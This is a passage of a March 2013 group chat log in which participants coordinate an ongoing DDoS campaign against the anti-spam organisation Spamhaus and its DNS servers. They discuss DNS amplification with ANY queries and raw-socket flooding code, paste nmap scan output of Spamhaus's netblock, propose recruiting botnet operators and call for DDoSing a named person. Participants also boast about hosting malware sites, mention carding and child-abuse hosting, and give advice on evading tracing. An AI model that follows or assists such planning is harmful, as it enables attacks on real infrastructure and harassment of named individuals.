MP: softlayer even is in there -twice- [18.03.2013 21:10:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 21:10:19] eDataKing: as well as the planet [18.03.2013 21:10:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer isn't listed with all their ips, and sponsors them [18.03.2013 21:10:31] eDataKing: add google and it's almost all the servers except for FBs [18.03.2013 21:10:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the planet and softlayer and mediatemple are ALL time warner telecom and ALL resolve DROP [18.03.2013 21:10:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer operates in .nl, and resolves drop there too... breaking the net neutrality law. [18.03.2013 21:11:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer=networklayer=softlayer inc. = softlayer bv [18.03.2013 21:11:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so yeah they do have contracts in their .nl pop under dutch law [18.03.2013 21:11:42] eDataKing: plus, they have rackspace on there [18.03.2013 21:11:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and therefore cannot use drop [18.03.2013 21:12:01] eDataKing: so, it's not like they are listing 20 little Joe's Data Center's on there [18.03.2013 21:12:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and 'bad neighborhoods'? for originating some spam? seriously... haha [18.03.2013 21:12:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what a joke [18.03.2013 21:13:06] eDataKing: that means that the Mt View, California home I was wanting to move to was over-priced ;) [18.03.2013 21:13:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i found the entire paypal database dump in homedirs of indonesian clients 3 times, 1 time clients hacked a nuclear reactor, 1 time clients hacked the royal treasury [18.03.2013 21:13:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and she's complaining about some spam as if thats the worst thing in the world hahahahahahaa [18.03.2013 21:13:54] eDataKing: lol [18.03.2013 21:15:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wonder how she's liking the 100gbit/s up her ass then :P [18.03.2013 21:15:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: some of it is even on port 25/tcp lol [18.03.2013 21:15:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: should make her forget all about viagra should not it lol [18.03.2013 21:19:41] eDataKing: lol [18.03.2013 21:24:46] -= Darwick =-: I leave now, see ya on irc :) [18.03.2013 21:24:51] *** -= Darwick =- quit *** [18.03.2013 21:40:06] narko: :( but irc is bad [18.03.2013 21:40:21] Cali: s/irc/skype [18.03.2013 21:40:34] Valeriy Uhov: jabber caonference much better [18.03.2013 21:48:55] Yuri: how to do jabber conference? [18.03.2013 21:49:42] Valeriy Uhov: lets install jabber on stophaus.com [18.03.2013 21:49:55] Valeriy Uhov: and all is very simple [18.03.2013 21:49:57] NM: :) [18.03.2013 21:50:21] eDataKing: http://stophaus.com/showthread.php?74-Laura-s-Little-Secret&p=87#post87 [18.03.2013 21:50:23] Yuri: own jabber server? [18.03.2013 21:50:30] Valeriy Uhov: yes [18.03.2013 21:50:32] Yuri: i run freebsd there [18.03.2013 21:50:33] eDataKing: sure, but do you really want the chatroom on the same server as the forum? [18.03.2013 21:50:44] eDataKing: lose of 1 server kills secured communications [18.03.2013 21:50:44] Yuri: i think other one server is better [18.03.2013 21:51:08] Yuri: i have domain jabber.sc [18.03.2013 21:51:10] Yuri: not in use [18.03.2013 21:51:10] eDataKing: we already have flashchatinstalled then on a different server. I'll check for that license again [18.03.2013 21:51:18] eDataKing: and it integrates with vB [18.03.2013 21:51:24] eDataKing: one registration for all [18.03.2013 21:51:27] Cali: You love Seychelles Yuri don't you? ;) [18.03.2013 21:51:30] Valeriy Uhov: jabber is the most secure [18.03.2013 21:51:38] Yuri: and one our customer has a jabber server https://jabber.to/ [18.03.2013 21:51:42] eDataKing: they are all secured if they are self hosted right? [18.03.2013 21:51:43] Yuri: free for registration [18.03.2013 21:52:01] eDataKing: I guess I must be missing something... [18.03.2013 21:52:02] Cali: I've got my jabberd too :) [18.03.2013 21:52:09] Cali: I called it "theplayground.su" :P [18.03.2013 21:52:31] eDataKing: I am picturing flashchat as a way to guarantee all the data ever taken is on a server in our control. [18.03.2013 21:52:33] Yuri: it's on jabbix [18.03.2013 21:52:38] Yuri: looks working fine. [18.03.2013 21:52:39] Yuri: we can use it [18.03.2013 21:52:49] Yuri: i need to leave right now. be later [18.03.2013 21:52:50] eDataKing: I wanted to reduce any ability for someone at a data center to have any data related to our secured comm. [18.03.2013 21:53:02] eDataKing: np, we can do that then [18.03.2013 21:53:08] eDataKing: I am just thinking out loud [18.03.2013 21:53:33] Yuri: we place all in own datacenters. [18.03.2013 21:53:40] eDataKing: ok [18.03.2013 21:53:42] Yuri: not anybody resselling [18.03.2013 21:53:50] NM: Confirm) [18.03.2013 21:53:52] eDataKing: that's the important part [18.03.2013 21:54:03] Yuri: stophaus placed in clean infium host. [18.03.2013 21:54:08] Yuri: jabber.to is our server [18.03.2013 21:54:19] Yuri: anycase we can give domain jabber.sc for anybody else [18.03.2013 21:54:42] eDataKing: yeah, nanae is already running checks on stophaus [18.03.2013 21:54:55] eDataKing: good thing it got off that free host [18.03.2013 21:55:08] narko: what do you mean checks? [18.03.2013 21:55:25] Yuri: i am sure they try to investigate who and what do. [18.03.2013 21:55:36] eDataKing: yeah, that [18.03.2013 21:55:47] eDataKing: just whois and NS lookups [18.03.2013 21:55:50] Yuri: so all activity should not relate to the people who actively fight with them like we are or bunker. [18.03.2013 21:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh they're scared of us :P [18.03.2013 21:56:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so thats no problem [18.03.2013 21:56:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nothing the little piss nerds can do anyway [18.03.2013 21:56:21] eDataKing: that would make sense, but they'll use it to their advantage and say it is a 'criminal spam gang' [18.03.2013 21:56:27] eDataKing: but that's their nature [18.03.2013 21:56:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at the moment they can't say anything as their website is more down than ours [18.03.2013 21:56:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 21:56:50] eDataKing: lol, true [18.03.2013 21:56:58] eDataKing: and it is being noticed for sure [18.03.2013 21:57:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and by the time this is over they'll realize that i have like 3850 facebook friends on my main account and some more on others [18.03.2013 21:57:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and that that is a PR fight they'll never win [18.03.2013 21:57:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 21:57:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with their 6 or so followers on their spamhaus twitter [18.03.2013 21:57:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [18.03.2013 21:58:06] eDataKing: they can't win the PR battle without using the SBL to takedown opposing content [18.03.2013 21:58:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ik steun die actie sowieso wel de stekker eruit bij stephen [1] 20:52 cb3rob (+i) on *private* (+ns) * type /help for help [18.03.2013 21:58:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which is, #xs4all :P [18.03.2013 21:58:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz [18.03.2013 21:58:19] Yuri: i posted some good posts on webhostingtalk. i will add some gas in this firework [18.03.2013 21:58:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just reply to all those 'we cannot get unlisted because its dooownnnn' ppl 'you should not have been listed in the first place' [18.03.2013 21:58:55] eDataKing: good stuff, just follow all the rules of /b ;) [18.03.2013 21:59:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nor can spamhaus demand that -you- waste your time in getting their illegal listing remoed [18.03.2013 21:59:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 22:00:22] eDataKing: we can capitalize on the opportunity to see all the false positives that get caught up and make a report based on true stats. [18.03.2013 22:00:48] eDataKing: that monitter site makes that easy [18.03.2013 22:01:01] Yuri: nagios says - they still all down. website and smtp http://antispamhaus.org/nagios [18.03.2013 22:01:11] eDataKing: :) [18.03.2013 22:01:22] narko: yes my mail is spammed [18.03.2013 22:02:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Current Status Tactical Overview Map [18.03.2013 22:02:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 22:03:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah thats because nagios is designed to inform you when its -down- not when its -up- [18.03.2013 22:03:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 22:06:14] narko: lol [18.03.2013 22:06:20] narko: nanae is a joke [18.03.2013 22:06:24] narko: every topic is about spamhaus [18.03.2013 22:08:41] eDataKing: nanae essentially is spamhaus [18.03.2013 22:08:58] eDataKing: follow the same people back and you'll see them posting on alt.math groups in 1998 together [18.03.2013 22:09:56] eDataKing: there are a few people that post that are not involved in Spamhaus, but generally speaking they are almost invariably trusted Spamhaus volunteers [18.03.2013 22:10:16] narko: can I post without showing my name and gmail addrerss? [18.03.2013 22:13:50] eDataKing: yes, use a fake gmail address for one. [18.03.2013 22:13:58] eDataKing: use a VPN or proxy config [18.03.2013 22:14:56] eDataKing: and it will post as the email address the first time. Click the option beside the screen name and make it whatever you want [18.03.2013 22:15:32] eDataKing: they track browser config, posting host, and newsreader hops in the headers. [18.03.2013 22:15:38] narko: lol [18.03.2013 22:15:52] eDataKing: So, you don't want any of that to be something they can backtrace [18.03.2013 22:22:40] Yuri: C:\Program Files>ping spamhaus.org Обмен пакетами с spamhaus.org [154.35.160.11] с 32 байтами данных: Ответ от 208.49.181.177: Заданный узел недоступен. [18.03.2013 22:22:46] Yuri: looks they nulled IP [18.03.2013 22:23:04] Yuri: NetRange: 208.48.224.0 - 208.50.127.255 CIDR: 208.48.224.0/19, 208.49.0.0/16, 208.50.0.0/17 OriginAS: AS3549 NetName: LVLT-ORG-208-48-224 NetHandle: NET-208-48-224-0-1 Parent: NET-208-0-0-0-0 NetType: Direct Allocation RegDate: 1999-07-29 Updated: 2012-03-02 Ref: http://whois.arin.net/rest/net/NET-208-48-224-0-1 OrgName: Level 3 Communications, Inc. OrgId: LVLT Address: 1025 Eldorado Blvd. City: Broomfield StateProv: CO PostalCode: 80021 Country: US [18.03.2013 22:23:10] Yuri: level3 nulled them [18.03.2013 22:23:23] eDataKing: wow, that is crazy! [18.03.2013 22:51:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 22:51:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: told ya, nobody likes spamhaus [18.03.2013 22:51:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 22:51:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what a -great- excuse to nullroute them :P [18.03.2013 22:51:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 22:55:33] eDataKing: well, they have been terminated from 3 providers now so shouldn't they have a ROKSO file? [18.03.2013 22:56:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 23:03:51] Cali: but meanwhile cb3rob is disconnected. [18.03.2013 23:03:57] narko: http://whois.domaintools.com/41.201.233.39 [18.03.2013 23:03:58] narko: wtf is this [18.03.2013 23:04:14] narko: algeria telecom with a chinese abuse address [18.03.2013 23:04:37] Cali: just chinese investing there. [18.03.2013 23:11:40] Antitheist: Eric says I wanted to thank Laura here on the blog for all of her help today. We are now de-listed thanks to her connections with some folks at Spamhaus (that don't require use of their currently DDOS'd website)! We have isolated the root cause to some infected machines that use outbound stuff on port 80 (which we don't block so people can use the web)! So we are now confident that we wont get re-listed. Thanks again Laura. [18.03.2013 23:11:51] Antitheist: Laura == shithaus [18.03.2013 23:11:57] narko: |-( [18.03.2013 23:12:09] narko: дуеы ввщф дфгкф [18.03.2013 23:12:14] narko: lets ddos laura [18.03.2013 23:12:34] Antitheist: yes [18.03.2013 23:12:48] Antitheist: for sure, that website is nanae [18.03.2013 23:13:00] narko: and host a large network of anti-spamhaus sites on kazakhtelecom [18.03.2013 23:13:01] Antitheist: or the spamhaus "unplugged" fuckheads [18.03.2013 23:13:11] Antitheist: AS9198? [18.03.2013 23:13:18] narko: yes [18.03.2013 23:13:22] Antitheist: lately they are afraind of spamhaus [18.03.2013 23:13:31] Antitheist: i got an offical letter that tells me to fuck off lil [18.03.2013 23:13:32] Antitheist: lol [18.03.2013 23:13:38] narko: i used kazaktelecom before for hosting malware sites [18.03.2013 23:13:40] narko: ;) [18.03.2013 23:13:43] narko: they are nice [18.03.2013 23:13:46] Antitheist: gohost? [18.03.2013 23:13:49] narko: nhost.kz [18.03.2013 23:14:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm [18.03.2013 23:14:03] narko: but for reverse proxying they are really too far from europe [18.03.2013 23:14:14] narko: my site was slow [18.03.2013 23:14:27] eDataKing: Laura is a primary operative [18.03.2013 23:14:35] eDataKing: her husband hosts the blocklist [18.03.2013 23:15:25] narko: hw can kazaktelecom be afraid of spamhaus when they are hosting so many child porn and carding sites :^) [18.03.2013 23:15:30] narko: on the block andrey_lorer_corporation [18.03.2013 23:16:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm [18.03.2013 23:16:42] narko: on this block is only cp and carding [18.03.2013 23:16:50] narko: and the hosts own website has been defaced since 2009 [18.03.2013 23:16:51] narko: lol [18.03.2013 23:17:16] eDataKing: lol [18.03.2013 23:26:40] narko: It seems that "Stophaus" aka Andrew Stephens is still beating his Spamhaus are TERRORISTS dead horse, he was spanked off of the usenet newsgroup news.admin.net-abuse.email with this and his libel posts about regulars on there. He created stophaus.com over the weekend with about a dozen of his sockpuppets. [18.03.2013 23:27:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha [18.03.2013 23:27:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we're his sockpuppets now haha [18.03.2013 23:32:52] narko: what do yo uthink the chances are of getting caught if i import viagra,propecia,etc from india and sell it to europeans [18.03.2013 23:33:16] narko: need more money ]:) [18.03.2013 23:39:47] Antitheist: depends how you import [18.03.2013 23:39:54] Antitheist: i did it on very small scales [18.03.2013 23:40:04] Antitheist: imported toys from asia with yaba [18.03.2013 23:40:33] narko: I import but only for personal use and small quantities such as 500 tablets per package [18.03.2013 23:40:41] narko: I only sell to a few friends [18.03.2013 23:42:27] narko: and western union banned my name after i tried to send $2000 to islamabad [18.03.2013 23:42:33] narko: now all my payments are instant returned [18.03.2013 23:42:35] narko: (angry) [18.03.2013 23:44:37] Cali: so lame. [18.03.2013 23:44:37] Antitheist: lol [18.03.2013 23:44:40] Cali: just find a drop. [18.03.2013 23:44:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz [18.03.2013 23:46:40] Yuri: hi boys. [18.03.2013 23:46:50] Yuri: i got information that a lot of hackers duscass now on forums [18.03.2013 23:46:58] Yuri: that spamhaus fucked bunker [18.03.2013 23:47:08] Yuri: and a lot of hackers with own botnets start to ddos spamhaus... [18.03.2013 23:47:14] narko: lol [18.03.2013 23:47:17] eDataKing: lol [18.03.2013 23:47:19] narko: they are wasting their bandwidth [18.03.2013 23:47:21] narko: the ips are null routed [18.03.2013 23:47:36] Yuri: isn't that an idea to connect all that hackers to stresss some DNSs of spamhaus ? [18.03.2013 23:47:45] narko: dns yes [18.03.2013 23:47:56] Yuri: if all they go down - realy fun begin. [18.03.2013 23:48:33] Cali: so I don't understand, what is the plan to put cyberbunker back online? [18.03.2013 23:49:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm just give them the link of all nameservers [18.03.2013 23:49:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 23:49:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can have some fun with that.. dns amplification etc [18.03.2013 23:49:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 23:49:53] Yuri: it will be nice idea if one spamhaus DNS will ddons other one spamhaus dns, each other. [18.03.2013 23:50:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: curently trying but not much effect. [18.03.2013 23:50:08] Yuri: Sven, you are good coder and admin, test that. [18.03.2013 23:50:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: plus i only seem capable of chunking out some 250mbit per box [18.03.2013 23:50:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with this code [18.03.2013 23:50:30] Yuri: Cali, you have logins on forums, please check some popular places where people discuss. [18.03.2013 23:50:39] Yuri: i think it's just idea to give them info what to do. [18.03.2013 23:50:39] narko: with my code i can do only 300-450 .. there are restrictions somewhere [18.03.2013 23:50:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: NET | bond0 ---- | pcki 7350 | pcko 1704245 | si 1442 Kbps | so 117 Mbps | [18.03.2013 23:50:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: bbbut that is a 6gbit link [18.03.2013 23:50:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 23:51:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so there are some ratelimits in the kernel on sock_raw [18.03.2013 23:51:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i guess [18.03.2013 23:51:11] narko: I have a very good idea for cyberbunker to be back online [18.03.2013 23:51:35] narko: just colocate with leaseweb and use a GRE tunnel on your network with www.ibroadbased.com :P [18.03.2013 23:51:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah last time i was doing router kernels i noticed some ratelimits on sock_raw [18.03.2013 23:51:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly the whole thing is getting depreciated as well [18.03.2013 23:52:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: think i'll just change the code to use a tun interface [18.03.2013 23:52:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: pretty much the same thing anyway [18.03.2013 23:52:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 23:54:02] Cali: yeah, I think we should work on putting cyberbunker back online. [18.03.2013 23:54:20] Cali: because if I was spamhaus I would feel like I won still. [18.03.2013 23:54:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm well then just transit prefixes you see with 34109 in front. [18.03.2013 23:54:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and any asn behind it [18.03.2013 23:54:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which includes.. several of you guys lol [18.03.2013 23:55:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: otherwise we'll just try to buy new transits over the coming days [18.03.2013 23:55:34] Cali: How are your customers re-acting to that? [18.03.2013 23:55:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they're like 'we'll be back when its sorted out' [18.03.2013 23:55:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most of them can't go anywhere else anyway long term [18.03.2013 23:55:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 23:57:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh that, and for the actual shitlist dns servers [18.03.2013 23:57:24] Cali: Why TATA suddenly decided that it was the end? [18.03.2013 23:57:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we have to send ANY (255) requests.. [18.03.2013 23:57:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: of ips that actually ARE shitlisted [18.03.2013 23:57:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they send no reply for ips that are not.. that is, the answer section is empty [18.03.2013 23:58:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: currently it just does > DiG 9.8.1-P1 <<>> ANY spamhaus.org ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 60148 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;spamhaus.org. IN ANY ;; Query time: 5410 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Mon Mar 18 23:57:39 2013 ;; MSG SIZE rcvd: 30 [19.03.2013 01:57:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yay [19.03.2013 01:57:57] narko: c:\dig>dig www.spamhaus.org @8.8.8.8 any ; <<>> DiG 9.3.2 <<>> www.spamhaus.org @8.8.8.8 any ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 83 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;www.spamhaus.org. IN ANY ;; Query time: 31 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Tue Mar 19 01:57:46 2013 ;; MSG SIZE rcvd: 34 [19.03.2013 01:57:59] Antitheist: move many snowshoe / ugg / pharmacy / whatever "criminal" thing you guys do to cloudflare [19.03.2013 01:58:00] narko: it stopped working [19.03.2013 01:58:20] Antitheist: then they will list /24s -> after 1 month cloudflare will kick them :D [19.03.2013 01:58:35] Antitheist: or even more epic : shithaus will be in the SBL [19.03.2013 01:59:41] narko: status: NOERROR, [19.03.2013 01:59:42] narko: its back [19.03.2013 01:59:45] narko: wtf:( [19.03.2013 02:01:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm now thats funny... when the .org nameservers don't work... spamhaus.eu also doens't work :P [19.03.2013 02:01:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hence... the real website... is either on a spamhaus.org or spamhaus.nethostname, or on one of the main 8 nameservers [19.03.2013 02:01:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 02:02:31] Валерий Лёлин: great [19.03.2013 02:02:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: either way the website is irrelevant as long as we keep the dns bl's down by keepingspamhaus.org itself down [19.03.2013 02:02:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: asspamhaus.eu is not in google and nobody will find it anyway [19.03.2013 02:03:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: withoutspamhaus.org cname'ing it [19.03.2013 02:03:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (that and its registered to a no longer existing limited... but an adr procedure for .eu costs 700 euro ;) [19.03.2013 02:07:59] Yuri: I am sure they have a rack of servers, not much. but somewhere in NL. not far from xs4all [19.03.2013 02:08:26] narko: i think surfnet and xs4all is their main infrastructure location [19.03.2013 02:08:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep [19.03.2013 02:08:51] Yuri: let me scan network again [19.03.2013 02:09:03] narko: added some extra gbit/s to two dns servers that seemed half-up :) lets see if google dns renews it now [19.03.2013 02:09:28] Yuri: fuck.. no dns resolve :)))) [19.03.2013 02:09:45] narko: (mm) [19.03.2013 02:09:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when -these- time out, they're out of business [19.03.2013 02:10:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: <<>> DiG 9.8.1-P1 <<>> A b.ns.spamhaus.org ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4274 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;b.ns.spamhaus.org. IN A ;; ANSWER SECTION: b.ns.spamhaus.org. 11151 IN A 192.150.94.204 b.ns.spamhaus.org. 11151 IN A 193.74.22.150 b.ns.spamhaus.org. 11151 IN A 193.190.182.41 b.ns.spamhaus.org. 11151 IN A 193.190.198.15 ;; Query time: 142 msec [19.03.2013 02:10:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 11151 secs left on that one [19.03.2013 02:10:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hehee [19.03.2013 02:10:12] Yuri: that's the network [19.03.2013 02:10:12] Mastermind of Possibilities: <<< smtp-ext-layer.spamhaus.org (ns8.spamhaus.org. [82.94.216.239]) [19.03.2013 02:10:27] Yuri: 82.94.216.0/24 [19.03.2013 02:10:36] narko: they only have /27 [19.03.2013 02:10:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thought it was just a /29 [19.03.2013 02:10:39] eDataKing: yup [19.03.2013 02:10:39] Yuri: i do scan [19.03.2013 02:10:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah [19.03.2013 02:10:49] narko: it's this rethem hosting very annoying [19.03.2013 02:10:53] narko: with their protections [19.03.2013 02:11:23] Yuri: yap netnum: 82.94.216.224 - 82.94.216.255 netname: XS4ALL-CUST-1167147 descr: Spamhaus Logistics Corp. [19.03.2013 02:11:30] Yuri: but i scanned /24 [19.03.2013 02:12:00] eDataKing: that's their server support subsidiary company [19.03.2013 02:12:55] Yuri: nexthost: failed to determine route to 82.94.216.224 [19.03.2013 02:12:59] narko: i wish i had the money for all these companies :P when i have to pay €90/yr for my virtual office i delay it for as long as possible [19.03.2013 02:14:01] narko: wtf [19.03.2013 02:14:03] narko: No matching routes found for 82.94.216.0/24. [19.03.2013 02:14:27] narko: oh [19.03.2013 02:14:31] narko: it is not that [19.03.2013 02:18:45] Yuri: Nmap scan report for 82.94.216.224 Nmap scan report for vlan114.swcolo1.eh1.xs4all.net (82.94.216.225) Nmap scan report for 82.94.216.226 Nmap scan report for 82.94.216.227 Nmap scan report for 82.94.216.228 Nmap scan report for 82.94.216.229 Nmap scan report for 82.94.216.230 Nmap scan report for 82.94.216.231 Nmap scan report for 82.94.216.232 Nmap scan report for 82.94.216.233 Nmap scan report for 82.94.216.234 Nmap scan report for 82.94.216.235 Nmap scan report for 82.94.216.236 Nmap scan report for 82.94.216.237 Nmap scan report for 82.94.216.238 Nmap scan report for ns8.spamhaus.org (82.94.216.239) Nmap scan report for smtp-ext-layer-b.spamhaus.org (82.94.216.240) Nmap scan report for avalon.spamhaus.org (82.94.216.241) Nmap scan report for merlin.spamhaus.org (82.94.216.242) Nmap scan report for deimos.cbl.abuseat.org (82.94.216.243) Nmap scan report for 82.94.216.244 Nmap scan report for 82.94.216.245 Nmap scan report for mail.swlcert.com (82.94.216.246) Nmap scan report for 82.94.216.247 Nmap scan report for 82.94.216.248 Nmap scan report for 82.94.216.249 Nmap scan report for cbl.abuseat.org (82.94.216.250) Nmap scan report for mail.cbl.abuseat.org (82.94.216.251) Nmap scan report for rsync.cbl.abuseat.org (82.94.216.252) Nmap scan report for ns1-cbl.abuseat.org (82.94.216.253) Nmap scan report for 82.94.216.254 Nmap scan report for 82.94.216.255 [19.03.2013 02:18:58] Yuri: http://stophaus.com/newreply.php?do=postreply&t=75 [19.03.2013 02:19:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh what a surprise... abuseat is in the same netblock [19.03.2013 02:19:20] Yuri: so they have a rack or half a rack with own switch [19.03.2013 02:19:21] Yuri: <<< vlan114.swcolo1.eh1.xs4all.net [19.03.2013 02:21:32] eDataKing: wow, you guys weren't listening at all ;) [19.03.2013 02:21:41] Antitheist: lol [19.03.2013 02:22:00] eDataKing: abuseat is where the cbl is hosted. It is Steve Atkins server. He is Laura Atkins husband. [19.03.2013 02:22:11] eDataKing: I am sure you know who Laura is by now. [19.03.2013 02:22:18] Yuri: post that on stophaus.com [19.03.2013 02:22:28] eDataKing: just teasing, but I have been trying to say that all day lol [19.03.2013 02:23:03] eDataKing: http://stophaus.com/showthread.php?38-CBL-Website-Abuseat-org [19.03.2013 02:23:31] Yuri: ok [19.03.2013 02:27:10] narko: http://www.spamhaus.org/sbl/query/SBL179317 [19.03.2013 02:29:49] eDataKing: desperately trying to suppress the content [19.03.2013 02:29:50] eDataKing: they are scared [19.03.2013 02:29:57] narko: why would they sbl my mail ip [19.03.2013 02:30:01] narko: it's not even used [19.03.2013 02:30:02] narko: lol [19.03.2013 02:30:06] Yuri: Ж)))) [19.03.2013 02:30:11] Yuri: they try to fuck all [19.03.2013 02:30:13] eDataKing: because it says stophaus.com on it [19.03.2013 02:30:30] eDataKing: and they are trying to prevent stophaus.comfrom being able to send new registration emails on the forum [19.03.2013 02:30:41] narko: yes but thes ip isn't used for outgoing mail [19.03.2013 02:30:44] narko: only for incoming [19.03.2013 02:30:55] narko: spamhaus are anti-SPAM and an incoming-only mail server cannot possibly be used to spam [19.03.2013 02:30:58] narko: :^) [19.03.2013 02:31:11] eDataKing: then it is merely because it bears the name [19.03.2013 02:32:13] narko: I will sue spamhaus for this listing but i can't afford the lawyer to do it myself.. [19.03.2013 02:32:26] Yuri: hey men, if they cache all information from there main DNS to slave DNS with rsync then other DNS can continue work. [19.03.2013 02:32:58] Yuri: i have a jurist who can do evething but inside russia, he don't know english.. that's tha falt. [19.03.2013 02:33:03] Yuri: but in russia - anything for you. [19.03.2013 02:34:17] eDataKing: http://stophaus.com/showthread.php?78-Spamhaus-Attacks-STOPhaus-INCOMING-MAIL-ONLY-Communication-Email&p=98#post98 [19.03.2013 02:36:42] Yuri: uh... i will do some extra PR right now for spamhaus in twitter.. that will be cool [19.03.2013 02:40:05] eDataKing: take a look at @tap0utextreme [19.03.2013 02:42:53] narko: DNS Resolution Error You've requested a page on a website (www.spamhaus.org) that is on the CloudFlare network. Unfortunately, 